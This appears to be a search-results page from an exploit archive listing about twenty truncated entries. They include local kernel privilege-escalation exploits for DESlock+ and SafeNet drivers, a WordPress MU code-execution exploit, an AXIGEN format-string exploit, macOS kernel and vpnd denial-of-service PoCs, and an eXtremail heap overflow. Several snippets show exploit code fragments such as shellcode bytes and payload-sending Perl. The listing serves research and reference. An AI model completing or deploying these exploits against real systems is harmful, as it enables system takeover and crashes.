393 matches found
DESlock+ < 3.2.6 - 'DLMFDISK.sy's Local kernel Ring0 SYSTEM
/ deslock-pown-v2.c Copyright c 2008 by DESlock+ include include include define DLKFDISKIOCTL 0x80002024 define DLKFDISKRIOCTL 0x80002010 define DLKFDISKSLOT 0x00000C5A define DLKFDISKOFFSET 0x0D define DLKFDISKDISKMAX 0x1A static unsigned char win32fixup = "\x53" "\xeb\x0e" / fixupcopy / "\x5e"...
DESlock+ < 3.2.6 - Local Kernel Ring0 link list zero SYSTEM
/ deslock-list-zero-v2.c Copyright c 2008 by DESlock+ include include include define DLMFENCIOCTL 0x0FA4204C define DLMFENCFLAG 0xC001D00D define DLKFDISKRIOCTL 0x80002008 define DLKFDISKSLOT 0x00000C5C define ARGSIZEa a/sizeof void static unsigned char win32fixup = "\x53" "\xeb\x0e" / fixupcopy ...
wpmu-exec.txt
Website : http://www.buayacorp.com/ Advisory: http://www.buayacorp.com/files/wordpress/wordpress-mu-options-overwrite.html This exploit uses activeplugins option to execute arbitrary PHP / includeonce './class-snoopy.php'; // Fix Snoopy class SnoopyExt extends Snoopy function...
WordPress MU 1.3.2 - active_plugins option Code Execution
WordPress MU 1.3.2 - activeplugins option Code Execution Website : http://www.buayacorp.com/ Advisory: http://www.buayacorp.com/files/wordpress/wordpress-mu-options-overwrite.html This exploit uses activeplugins option to execute arbitrary PHP / includeonce './class-snoopy.php'; // Fix Snoopy cla...
Wordpress MU < 1.3.2 active_plugins option Code Execution Exploit
No description provided by source. ?php / WordPress MU blog's options overwrite Credits : Alexander Concha alex at buayacorp dot com Website : http://www.buayacorp.com/ Advisory: http://www.buayacorp.com/files/wordpress/wordpress-mu-options-overwrite.html This exploit uses activeplugins option to...
SafeNet 10.4.0.12 - 'IPSecDrv.sys' Local kernel Ring0 SYSTEM
/ safenet-ipsec-call.c Copyright c 2008 by Safenet IPSecDrv.sys include include include define IPSECDRVIOCTL 0x80002064 define ARGSIZEa a/sizeof void static unsigned char win32fixup = "\x53" "\x52"; static unsigned char win2k3ring0shell = / ring0 / "\xb8\x24\xf1\xdf\xff" "\x8b\x00"...
AXIGEN 5.0.x AXIMilter Format String Exploit
/ Axigen 5.0.x AXIMilter Format String Exploit by hempel JAN 16 2008 thx to mu-b digit-labs.org / include stdio.h include netinet/in.h include sys/socket.h include sys/types.h include sys/uio.h include unistd.h include string.h char buf = "FROM:rnEHLO:rnCNIP:rnCNPO:rnCNHO: " / offsets /...
Cisco VPN Client IPSec Driver Local kernel system pool Corruption PoC
No description provided by source. / cpndrv-dos.c Copyright c 2008 by [email protected] Cisco Systems VPN Client IPSec Driver local kernel system pool corruption POC by mu-b - Sat 11 Jan 2008 - Tested on: CVPNDRVA.sys 5.0.02.0090 specifying an input buffer size less-than 8+31-bytes results in t...
Cisco VPN Client - IPSec Driver Local kernel system pool Corruption (PoC)
/ cpndrv-dos.c Copyright c 2008 by Cisco Systems VPN Client IPSec Driver local kernel system pool corruption POC by mu-b - Sat 11 Jan 2008 - Tested on: CVPNDRVA.sys 5.0.02.0090 specifying an input buffer size less-than 8+31-bytes results in the local kernel non-paged pool METHODBUFFERED being...
Apple Mac OS X xnu <= 1228.0 Local kernel Denial of Service PoC
Exploit for macOS platform in category dos / poc =============================================================== Apple Mac OS X xnu Apple MACOS X xnu include include include include include include include define MAXPATHLEN 128 / change this value if no panic / define CSLOTSDIFF 0x69696969 define...
Apple Mac OSX xnu 1228.0 - 'super_blob' Local kernel Denial of Service (PoC)
/ xnu-superblob-dos.c Copyright c 2007 by Apple MACOS X xnu include include include include include include include define MAXPATHLEN 128 / change this value if no panic / define CSLOTSDIFF 0x69696969 define CSSLOTCODEDIRECTORY 0x0 define CSMAGICCODEDIRECTORY 0xfade0c02 / CodeDirectory blob /...
Apple Mac OS X 10.5.0 (leopard) vpnd Remote Denial of Service PoC
No description provided by source. / vpnd-leopard-lb-dos.c Copyright c 2007 by [email protected] Apple MACOS X 10.5.0 leopard vpnd remote DoS POC by mu-b - Fri 9 Nov 2007 - Tested on: Apple MACOS X 10.5.0 leopard vpnd Program received signal EXCARITHMETIC, Arithmetic exception...
Apple Mac OS X xnu <= 1228.0 Local Kernel Denial of Service PoC
No description provided by source. / xnu-macho-dos.c Copyright c 2007 by [email protected] Apple MACOS X xnu = 1228.0 local kernel DoS POC by mu-b - Thu 15 Nov 2007 - Tested on: Apple MACOS X 10.4 xnu-792.22.51/RELEASEI386...
Apple Mac OSX xnu 1228.0 - 'mach-o' Local Kernel Denial of Service (PoC)
/ xnu-macho-dos.c Copyright c 2007 by Apple MACOS X xnu include include include include include include define MAXPATHLEN 128 define LCUNIXTHREAD 0x05 define x86THREADSTATE32 0x01 / osfmk/mach-o/loader.h / struct threadcommand unsigned long cmd; / LCTHREAD or LCUNIXTHREAD / unsigned long cmdsize;...
Apple Mac OS X xnu <= 1228.0 Local Kernel Denial of Service PoC
Exploit for macOS platform in category dos / poc =============================================================== Apple Mac OS X xnu Apple MACOS X xnu include include include include include include define MAXPATHLEN 128 define LCUNIXTHREAD 0x05 define x86THREADSTATE32 0x01 / osfmk/mach-o/loader.h...
Apple Mac OSX 10.5.0 (Leopard) - vpnd Remote Denial of Service (PoC)
Apple Mac OSX 10.5.0 Leopard - vpnd Remote Denial of Service PoC / vpnd-leopard-lb-dos.c Copyright c 2007 by Apple MACOS X 10.5.0 leopard vpnd remote DoS POC by mu-b - Fri 9 Nov 2007 - Tested on: Apple MACOS X 10.5.0 leopard vpnd Program received signal EXCARITHMETIC, Arithmetic exception...
Apple Mac OSX xnu 1228.0 - mach-o Local Kernel Denial of Service (PoC)
Apple Mac OSX xnu 1228.0 - mach-o Local Kernel Denial of Service PoC / xnu-macho-dos.c Copyright c 2007 by Apple MACOS X xnu include include include include include include define MAXPATHLEN 128 define LCUNIXTHREAD 0x05 define x86THREADSTATE32 0x01 / osfmk/mach-o/loader.h / struct threadcommand...
Apple Mac OS X xnu <= 1228.0 mach-o Local Kernel Denial of Service PoC
No description provided by source. / xnu-macho-dos.c Copyright c 2007 by [email protected] Apple MACOS X xnu = 1228.0 local kernel DoS POC by mu-b - Thu 15 Nov 2007 - Tested on: Apple MACOS X 10.4 xnu-792.22.51/RELEASEI386 Apple MACOS X 10.5.1 xnu-1228.0.21/RELEASEI386 Apple MACOS X 10.5.1...
ex211heap-overflow.txt
!/usr/bin/perl extremail-v8.pl Copyright c 2007 by eXtremail Connected\n"; sleep16; print"- Sending payload\n"; $buf = "\x00".$NOP x 0x2710-1; sendSOCKET, $buf, 0; sleep$senddelay; $buf = $NOP x 0x2710; while $loop-- print"- Sending payload ".$loop."\n"; sendSOCKET, $buf, 0; sleep$senddelay;...
eXtremail <= 2.1.1 Remote Heap Overflow PoC
No description provided by source. !/usr/bin/perl extremail-v8.pl Copyright c 2007 by [email protected] eXtremail =2.1.1 remote PoC by mu-b - Wed Jan 31 2007 Tested on: eXtremail 2.1.1 lnx eXtremail 2.1.0 lnx - Private Source Code -DO NOT DISTRIBUTE -...